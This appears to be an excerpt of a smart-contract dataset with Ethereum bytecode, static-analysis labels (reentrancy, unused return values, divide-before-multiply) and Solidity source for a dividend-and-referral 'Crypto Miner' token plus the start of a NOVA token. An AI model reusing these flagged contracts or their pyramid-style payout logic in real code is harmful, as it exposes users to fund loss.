188826127f5565b8452602084019350602083019250506001810190506127be565b5050509392505050565b600081359050612804816136ec565b92915050565b600081519050612819816136ec565b92915050565b600082601f83011261283057600080fd5b8135612840848260208601612789565b91505092915050565b60008135905061285881613703565b92915050565b60008151905061286d81613703565b92915050565b6000813590506128828161371a565b92915050565b6000815190506128978161371a565b92915050565b6000602082840312156128af57600080fd5b60006128bd848285016127f5565b91505092915050565b6000602082840312156128d857600080fd5b60006128e68482850161280a565b91505092915050565b6000806040838503121561290257600080fd5b6000612910858286016127f5565b9250506020612921858286016127f5565b9150509250929050565b60008060006060848603121561294057600080fd5b600061294e868287016127f5565b935050602061295f868287016127f5565b925050604061297086828701612873565b9150509250925092565b6000806040838503121561298d57600080fd5b600061299b858286016127f5565b92505060206129ac85828601612873565b9150509250929050565b6000602082840312156129c857600080fd5b600082013567ffffffffffffffff8111156129e257600080fd5b6129ee8482850161281f565b91505092915050565b600060208284031215612a0957600080fd5b6000612a1784828501612849565b91505092915050565b600060208284031215612a3257600080fd5b6000612a408482850161285e565b91505092915050565b600060208284031215612a5b57600080fd5b6000612a6984828501612873565b91505092915050565b600080600060608486031215612a8757600080fd5b6000612a9586828701612888565b9350506020612aa686828701612888565b9250506040612ab786828701612888565b9150509250925092565b6000612acd8383612ad9565b60208301905092915050565b612ae281613244565b82525050565b612af181613244565b82525050565b6000612b02826130ea565b612b0c818561310d565b9350612b17836130da565b8060005b83811015612b48578151612b2f8882612ac1565b9750612b3a83613100565b925050600181019050612b1b565b5085935050505092915050565b612b5e81613256565b82525050565b612b6d81613299565b82525050565b6000612b7e826130f5565b612b88818561311e565b9350612b988185602086016132ab565b612ba1816133e5565b840191505092915050565b6000612bb960238361311e565b9150612bc4826133f6565b604082019050919050565b6000612bdc60198361311e565b9150612be782613445565b602082019050919050565b6000612bff602a8361311e565b9150612c0a8261346e565b604082019050919050565b6000612c2260228361311e565b9150612c2d826134bd565b604082019050919050565b6000612c45601b8361311e565b9150612c508261350c565b602082019050919050565b6000612c6860218361311e565b9150612c7382613535565b604082019050919050565b6000612c8b60208361311e565b9150612c9682613584565b602082019050919050565b6000612cae60298361311e565b9150612cb9826135ad565b604082019050919050565b6000612cd160258361311e565b9150612cdc826135fc565b604082019050919050565b6000612cf4601a8361311e565b9150612cff8261364b565b602082019050919050565b6000612d1760248361311e565b9150612d2282613674565b604082019050919050565b6000612d3a60178361311e565b9150612d45826136c3565b602082019050919050565b612d5981613282565b82525050565b612d688161328c565b82525050565b6000602082019050612d836000830184612ae8565b92915050565b6000604082019050612d9e6000830185612ae8565b612dab6020830184612ae8565b9392505050565b6000604082019050612dc76000830185612ae8565b612dd46020830184612d50565b9392505050565b600060c082019050612df06000830189612ae8565b612dfd6020830188612d50565b612e0a6040830187612b64565b612e176060830186612b64565b612e246080830185612ae8565b612e3160a0830184612d50565b979650505050505050565b6000602082019050612e516000830184612b55565b92915050565b60006020820190508181036000830152612e718184612b73565b905092915050565b60006020820190508181036000830152612e9281612bac565b9050919050565b60006020820190508181036000830152612eb281612bcf565b9050919050565b60006020820190508181036000830152612ed281612bf2565b9050919050565b60006020820190508181036000830152612ef281612c15565b9050919050565b60006020820190508181036000830152612f1281612c38565b9050919050565b60006020820190508181036000830152612f3281612c5b565b9050919050565b60006020820190508181036000830152612f5281612c7e565b9050919050565b60006020820190508181036000830152612f7281612ca1565b9050919050565b60006020820190508181036000830152612f9281612cc4565b9050919050565b60006020820190508181036000830152612fb281612ce7565b9050919050565b60006020820190508181036000830152612fd281612d0a565b9050919050565b60006020820190508181036000830152612ff281612d2d565b9050919050565b600060208201905061300e6000830184612d50565b92915050565b600060a0820190506130296000830188612d50565b6130366020830187612b64565b81810360408301526130488186612af7565b90506130576060830185612ae8565b6130646080830184612d50565b9695505050505050565b60006020820190506130836000830184612d5f565b92915050565b60006130936130a4565b905061309f82826132de565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c9576130c86133b6565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313a82613282565b915061314583613282565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561317a57613179613358565b5b828201905092915050565b600061319082613282565b915061319b83613282565b9250826131ab576131aa613387565b5b828204905092915050565b60006131c182613282565b91506131cc83613282565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320557613204613358565b5b828202905092915050565b600061321b82613282565b915061322683613282565b92508282101561323957613238613358565b5b828203905092915050565b600061324f82613262565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132a482613282565b9050919050565b60005b838110156132c95780820151818401526020810190506132ae565b838111156132d8576000848401525b50505050565b6132e7826133e5565b810181811067ffffffffffffffff82111715613306576133056133b6565b5b80604052505050565b600061331a82613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334d5761334c613358565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136f581613244565b811461370057600080fd5b50565b61370c81613256565b811461371757600080fd5b50565b61372381613282565b811461372e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220142a2077cdc2cebe3c99e3ce1a89da7571a4771e08c8e079a3967c8b6c1fb34964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,578 |
0x2c12dd1117032f0619baaeeaae6d0c21ef0300b3
|
pragma solidity ^0.4.25;
/*
* https://minertoken.club
*
* Crypto miner token concept
*
* [✓] 3% Withdraw fee
* [✓] 12% Deposit fee
* [✓] 1% Token transfer
* [✓] 33% Referal link
*
*/
contract CryptoMinerTokenNew {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
string public name = "Crypto Miner Token New";
string public symbol = "CMTN";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 12;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.0000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x608060405260043610610111576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806265318b1461011f57806306fdde031461017657806310d0ffdd1461020657806318160ddd146102475780632260937314610272578063313ce567146102b35780633ccfd60b146102e45780634b750334146102fb57806356d399e814610326578063688abbf7146103515780636b2f46321461039457806370a08231146103bf5780638620410b14610416578063949e8acd1461044157806395d89b411461046c578063a9059cbb146104fc578063e4849b3214610561578063e9fad8ee1461058e578063f088d547146105a5578063fdb5a03e146105ef575b61011c346000610606565b50005b34801561012b57600080fd5b50610160600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109f4565b6040518082815260200191505060405180910390f35b34801561018257600080fd5b5061018b610a96565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101cb5780820151818401526020810190506101b0565b50505050905090810190601f1680156101f85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021257600080fd5b5061023160048036038101908080359060200190929190505050610b34565b6040518082815260200191505060405180910390f35b34801561025357600080fd5b5061025c610b76565b6040518082815260200191505060405180910390f35b34801561027e57600080fd5b5061029d60048036038101908080359060200190929190505050610b80565b6040518082815260200191505060405180910390f35b3480156102bf57600080fd5b506102c8610bd3565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610bd8565b005b34801561030757600080fd5b50610310610d7c565b6040518082815260200191505060405180910390f35b34801561033257600080fd5b5061033b610ddf565b6040518082815260200191505060405180910390f35b34801561035d57600080fd5b5061037e600480360381019080803515159060200190929190505050610de5565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610e51565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b50610400600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e70565b6040518082815260200191505060405180910390f35b34801561042257600080fd5b5061042b610eb9565b6040518082815260200191505060405180910390f35b34801561044d57600080fd5b50610456610f1c565b6040518082815260200191505060405180910390f35b34801561047857600080fd5b50610481610f31565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c15780820151818401526020810190506104a6565b50505050905090810190601f1680156104ee5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050857600080fd5b50610547600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fcf565b604051808215151515815260200191505060405180910390f35b34801561056d57600080fd5b5061058c600480360381019080803590602001909291905050506112f2565b005b34801561059a57600080fd5b506105a3611541565b005b6105d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156105fb57600080fd5b506106046115ba565b005b600080600080600080600080600033975061062f6106288c600c60ff1661172e565b6064611769565b965061064961064288602160ff1661172e565b6064611769565b95506106558787611784565b94506106618b88611784565b935061066c8461179d565b9250680100000000000000008502915060008311801561069857506006546106968460065461182a565b115b15156106a357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff161415801561070c57508773ffffffffffffffffffffffffffffffffffffffff168a73ffffffffffffffffffffffffffffffffffffffff1614155b80156107595750600254600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156107ef576107a7600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548761182a565b600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061080a565b6107f9858761182a565b945068010000000000000000850291505b60006006541115610875576108216006548461182a565b60068190555060065468010000000000000000860281151561083f57fe5b0460076000828254019250508190555060065468010000000000000000860281151561086757fe5b04830282038203915061087d565b826006819055505b6108c6600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461182a565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081836007540203905080600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508973ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8032875b28d82ddbd303a9e4e5529d047a14ecb6290f80012a81b7e6227ff1ab8d86426109b9610eb9565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a3829850505050505050505092915050565b600068010000000000000000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546007540203811515610a8e57fe5b049050919050565b60008054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2c5780601f10610b0157610100808354040283529160200191610b2c565b820191906000526020600020905b815481529060010190602001808311610b0f57829003601f168201915b505050505081565b600080600080610b52610b4b86600c60ff1661172e565b6064611769565b9250610b5e8584611784565b9150610b698261179d565b9050809350505050919050565b6000600654905090565b6000806000806006548511151515610b9757600080fd5b610ba085611848565b9250610bba610bb384600360ff1661172e565b6064611769565b9150610bc68383611784565b9050809350505050919050565b601281565b6000806000610be76001610de5565b111515610bf357600080fd5b339150610c006000610de5565b9050680100000000000000008102600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054810190506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610d29573d6000803e3d6000fd5b508173ffffffffffffffffffffffffffffffffffffffff167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc826040518082815260200191505060405180910390a25050565b60008060008060006006541415610d9c5764174876e80080039350610dd9565b610dad670de0b6b3a7640000611848565b9250610dc7610dc084600360ff1661172e565b6064611769565b9150610dd38383611784565b90508093505b50505090565b60025481565b60008033905082610dfe57610df9816109f4565b610e49565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e47826109f4565b015b915050919050565b60003073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008060006006541415610ed95764174876e80080019350610f16565b610eea670de0b6b3a7640000611848565b9250610f04610efd84600c60ff1661172e565b6064611769565b9150610f10838361182a565b90508093505b50505090565b600080339050610f2b81610e70565b91505090565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fc75780601f10610f9c57610100808354040283529160200191610fc7565b820191906000526020600020905b815481529060010190602001808311610faa57829003601f168201915b505050505081565b600080600080600080610fe0610f1c565b111515610fec57600080fd5b339350600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054861115151561103d57600080fd5b60006110496001610de5565b111561105857611057610bd8565b5b61107061106987600160ff1661172e565b6064611769565b925061107c8684611784565b915061108783611848565b905061109560065484611784565b6006819055506110e4600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205487611784565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611170600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361182a565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508560075402600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508160075402600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061127960075460065468010000000000000000840281151561127357fe5b0461182a565b6007819055508673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600194505050505092915050565b6000806000806000806000611305610f1c565b11151561131157600080fd5b339550600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054871115151561136257600080fd5b86945061136e85611848565b935061138861138185600360ff1661172e565b6064611769565b92506113948484611784565b91506113a260065486611784565b6006819055506113f1600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486611784565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550680100000000000000008202856007540201905080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600060065411156114cb576114c46007546006546801000000000000000086028115156114be57fe5b0461182a565b6007819055505b8573ffffffffffffffffffffffffffffffffffffffff167f8d3a0130073dbd54ab6ac632c05946df540553d3b514c9f8165b4ab7f2b1805e86844261150e610eb9565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390a250505050505050565b600080339150600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561159c5761159b816112f2565b5b6115a4610bd8565b5050565b60006115b43483610606565b50919050565b6000806000806115ca6001610de5565b1115156115d657600080fd5b6115e06000610de5565b9250339150680100000000000000008302600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054830192506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116d1836000610606565b90508173ffffffffffffffffffffffffffffffffffffffff167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab36153264588483604051808381526020018281526020019250505060405180910390a2505050565b60008060008414156117435760009150611762565b828402905082848281151561175457fe5b0414151561175e57fe5b8091505b5092915050565b600080828481151561177757fe5b0490508091505092915050565b600082821115151561179257fe5b818303905092915050565b6000806000670de0b6b3a764000064174876e80002915060065464174876e80061181361180d6006548664174876e800600202020260026006540a600264174876e8000a02670de0b6b3a76400008a02670de0b6b3a764000064174876e80002600202026002890a0101016118f3565b85611784565b81151561181c57fe5b040390508092505050919050565b600080828401905083811015151561183e57fe5b8091505092915050565b600080600080670de0b6b3a764000085019250670de0b6b3a7640000600654019150670de0b6b3a76400006118dc670de0b6b3a7640000850364174876e800670de0b6b3a76400008681151561189a57fe5b0464174876e8000264174876e8000103026002670de0b6b3a7640000876002890a038115156118c557fe5b0464174876e800028115156118d657fe5b04611784565b8115156118e557fe5b049050809350505050919050565b60008060026001840181151561190557fe5b0490508291505b8181101561193857809150600281828581151561192557fe5b040181151561193057fe5b04905061190c565b509190505600a165627a7a723058203e4c1ea46a7cd9ecf599ea154161d38dbf29aba80c5ad4c9a8f830d1395c6c4a0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 6,579 |
0x19cc8bcad1ea04382eec5e86b951fa90918a277f
|
/**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
/*
* NOVA.audio - Music NFT Marketplace
* Sing a different tune!
*
* Website: www.nova.audio
* Telegram: www.t.me/novapreverify
*
*** Tokenomics ***
* 1.000.000.000 (one billion) NOVA Tokens
* Default Buy Tax: 4% (1% liquidity, 3% marketing and development)
* Default Sell Tax: 8% (1% liquidity, 7% marketing and development)
* Taxes will be abandoned after the NOVA platform release
*** Bot and Whale Protection ***
* 0.5% Max tx
* 1.5% Max wallet
* 30 Second cooldown between buys
* First three block buys are automatically blacklisted
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
